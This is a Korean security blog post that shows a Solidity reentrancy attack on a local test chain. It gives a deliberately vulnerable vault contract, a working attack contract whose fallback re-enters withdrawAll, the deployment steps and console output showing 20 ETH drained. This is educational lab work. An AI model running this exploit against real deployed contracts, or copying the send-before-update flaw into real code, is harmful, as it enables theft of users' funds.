반응형
먼저 Reentrancy Attack에 대한 내용이 궁금하신 분들은 아래 포스팅을 확인해주세요.
참고로 Local 환경은 Truffle과 Ganache를 이용하여 구축하였습니다. 구축 방법은 아래 포스팅을 확인해주세요.
취약점에 대해 간략히 설명하자면, 재진입에 대한 검증 구간이 없어 취약 Contract의 모든 자산을 탈취할 수 있는 취약점입니다.
취약 Contract
pragma solidity ^0.8.0;
contract vuln_reentrancy {
mapping (address => uint256) private userBalances;
function deposit() external payable {
userBalances[msg.sender] += msg.value;
}
function withdrawAll() external {
uint256 balance = getUserBalance(msg.sender);
require(balance > 0, "Insufficient balance");
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to send Ether");
userBalances[msg.sender] = 0;
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
function getUserBalance(address _user) public view returns (uint256) {
return userBalances[_user];
}
}
공격 Contract
pragma solidity 0.8.0;
interface vuln_reentrancy {
function deposit() external payable;
function withdrawAll() external;
}
contract Attack {
vuln_reentrancy public immutable etherVault;
constructor(vuln_reentrancy _etherVault) {
etherVault = _etherVault;
}
fallback() external payable {
if (address(etherVault).balance >= 1 ether) {
etherVault.withdrawAll();
}
}
function attack() external payable {
require(msg.value == 1 ether, "Require 1 Ether to attack");
etherVault.deposit{value: 1 ether}();
etherVault.withdrawAll();
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
이후, Truffle migrate 명령어를 통하여 vuln_reentrancy와 Attack Contract를 Deploy 하였습니다.
deploy.js
module.exports = async function(_deployer) {
var attack = artifacts.require("Attack");
var vuln = artifacts.require("vuln_reentrancy");
await _deployer.deploy(vuln);
const vulnInstance = await vuln.deployed()
console.log(vulnInstance.address)
await _deployer.deploy(attack, vulnInstance.address);
};
$ truffle migrate
Compiling your contracts...
===========================
> Compiling .\contracts\Attack.sol
> Compiling .\contracts\Test.sol
> Compiling .\contracts\vulnReentracny.sol
> Compilation warnings encountered:
Warning: SPDX license identifier not provided in source file. Before publishing, consider adding a comment containing "SPDX-License-Identifier: <SPDX-License>" to each source file. Use "SPDX-License-Identifier: UNLICENSED" for non-open-source code. Please see https://spdx.org for more information.
--> project:/contracts/Attack.sol
,Warning: SPDX license identifier not provided in source file. Before publishing, consider adding a comment containing "SPDX-License-Identifier: <SPDX-License>" to each source file. Use "SPDX-License-Identifier: UNLICENSED" for non-open-source code. Please see https://spdx.org for more information.
--> project:/contracts/vulnReentracny.sol
,Warning: This contract has a payable fallback function, but no receive ether function. Consider adding a receive ether function.
--> project:/contracts/Attack.sol:8:1:
|
8 | contract Attack {
| ^ (Relevant source part starts here and spans across multiple lines).
Note: The payable fallback function is defined here.
--> project:/contracts/Attack.sol:15:5:
|
15 | fallback() external payable {
| ^ (Relevant source part starts here and spans across multiple lines).
> Artifacts written to C:\Users\USER\evm\build\contracts
> Compiled successfully using:
- solc: 0.8.0+commit.c7dfd78e.Emscripten.clang
> Duplicate contract names found for vuln_reentrancy.
> This can cause errors and unknown behavior. Please rename one of your contracts.
Starting migrations...
======================
> Network name: 'development'
> Network id: 1690073639325
> Block gas limit: 6721975 (0x6691b7)
1690083873_deploy.js
====================
Replacing 'vuln_reentrancy'
---------------------------
> transaction hash: 0xdf1d97e1adbe142f815cb4bf860b6b4b925bd0833524ade31c43cd00fab3ac17
> Blocks: 0 Seconds: 0
> contract address: 0xEAa6Eb5BeDff4B34e57d9ce4EED986BA42007bF6
> block number: 72
> block timestamp: 1690085346
> account: 0xD253792Ef4de982dC99dF3C43CF3c02b62f366Ef
> balance: 79.72117464
> gas used: 340390 (0x531a6)
> gas price: 20 gwei
> value sent: 0 ETH
> total cost: 0.0068078 ETH
0xEAa6Eb5BeDff4B34e57d9ce4EED986BA42007bF6
Replacing 'Attack'
------------------
> transaction hash: 0x9544c58c9fb4435825984861e3e58e73afcb8581671215f113c54879e9138391
> Blocks: 0 Seconds: 0
> contract address: 0xF09A8a9bC911A4a6293c270c29E59418C4235673
> block number: 73
> block timestamp: 1690085347
> account: 0xD253792Ef4de982dC99dF3C43CF3c02b62f366Ef
> balance: 79.71544014
> gas used: 286725 (0x46005)
> gas price: 20 gwei
> value sent: 0 ETH
> total cost: 0.0057345 ETH
> Saving artifacts
-------------------------------------
> Total cost: 0.0125423 ETH
Summary
=======
> Total deployments: 2
> Final cost: 0.0125423 ETH
공격을 수행하기 앞서 vuln_reentrancy Contract에 20 ETH를 입금하였습니다.
(web3를 통한 함수 호출)
$ truffle console
> var depositAmountInWei = web3.utils.toWei("20", "ether");
> var vuln = new web3.eth.Contract(vuln_reentrancy.abi, vuln_reentrancy.address)
> vuln.methods.deposit().send({value: depositAmountInWei, from:"0xD253792Ef4de982dC99dF3C43CF3c02b62f366Ef"})
{
transactionHash: '0xb3a594ae4222fd6d932d72f2a29d426b35bbfaf0ebeae481da9d32118e838936',
transactionIndex: 0,
blockHash: '0xbace446e97c4abc063339a1db42464a66871e48fd6751c9668aa89c653a8f57a',
blockNumber: 46,
from: '0xd253792ef4de982dc99df3c43cf3c02b62f366ef',
to: '0xd2f4a6da73b5ebd96f5b651c0ea4f8e656e268e5',
gasUsed: 42337,
cumulativeGasUsed: 42337,
contractAddress: null,
status: true,
logsBloom: '0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',
events: {}
}
> vuln.methods.getUserBalance("0xd253792ef4de982dc99df3c43cf3c02b62f366ef").call()
'20000000000000000000'
그리고 Attack Contract에 1ETH를 입금해주면서 attack() 함수를 호출하였습니다.
(Truffle 기능을 통한 함수 호출)
> Attack.deployed().then(instance => a = instance)
> var attackAmountInWei = web3.utils.toWei("1", "ether");
> a.attack({value:attackAmountInWei })
{
tx: '0xecdf2f402b5b20687a58be3811029db93ed977c7c50ef4394818259cf2fed446',
receipt: {
transactionHash: '0xecdf2f402b5b20687a58be3811029db93ed977c7c50ef4394818259cf2fed446',
transactionIndex: 0,
blockHash: '0x0c2ca35b7fe927976a083231fa2d43e416c488d3e8efbac53f19d0d756298438',
blockNumber: 75,
from: '0xd253792ef4de982dc99df3c43cf3c02b62f366ef',
to: '0xf09a8a9bc911a4a6293c270c29e59418c4235673',
gasUsed: 284105,
cumulativeGasUsed: 284105,
contractAddress: null,
logs: [],
status: true,
logsBloom: '0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',
rawLogs: []
},
logs: []
}
이후 각 계정들의 자산 상태를 확인해보면 Reentrancy Attack이 성공적으로 수행되어, vuln_reentrancy Contract 자산을 Attack Contract가 모두 획득한 것을 확인할 수 있습니다.
Attack Contract는 단 1ETH만 입금했지만, Reentrancy Attack을 통해 20ETH을 탈취하여 총 21ETH을 획득할 수 있었습니다.
# vuln_reentrancy에 20ETH를 입급한 0xd253792ef4de982dc99df3c43cf3c02b62f366ef의 자산 현황을 보면 모든 ETH가 남아있음을 확인할 수 있음
> vuln.methods.getUserBalance("0xd253792ef4de982dc99df3c43cf3c02b62f366ef").call()
'20000000000000000000'
# 그러나 실제 vuln_reentrancy 자산을 확인해보면, 모든 ETH가 출금된 것을 확인할 수 있음
> vuln.methods.getBalance().call()
'0'
# Attack Contract의 자산을 확인해보면, vuln_reentrancy의 20ETH를 탈취하여 총 21ETH를 보유하고 있는 것을 확인할 수 있음
> var b = await a.getBalance()
> web3.utils.fromWei(b,"ether")
'21'
'Hack > Cryptocurrency' 카테고리의 다른 글
PEPE Token의 Rug Pull 분석 (0) | 2023.08.25 |
---|---|
Vyper Language Re-Entrancy 취약점 분석 (With Curve Pool Hacking) (0) | 2023.08.13 |
Ethereum 로컬 개발 환경 구성하기 (with Smart Contract) (0) | 2023.07.23 |
stETH (Staked ETH) (0) | 2023.07.15 |
Solidity Visibility, 그리고 View와 Pure 속성 (0) | 2023.07.08 |
댓글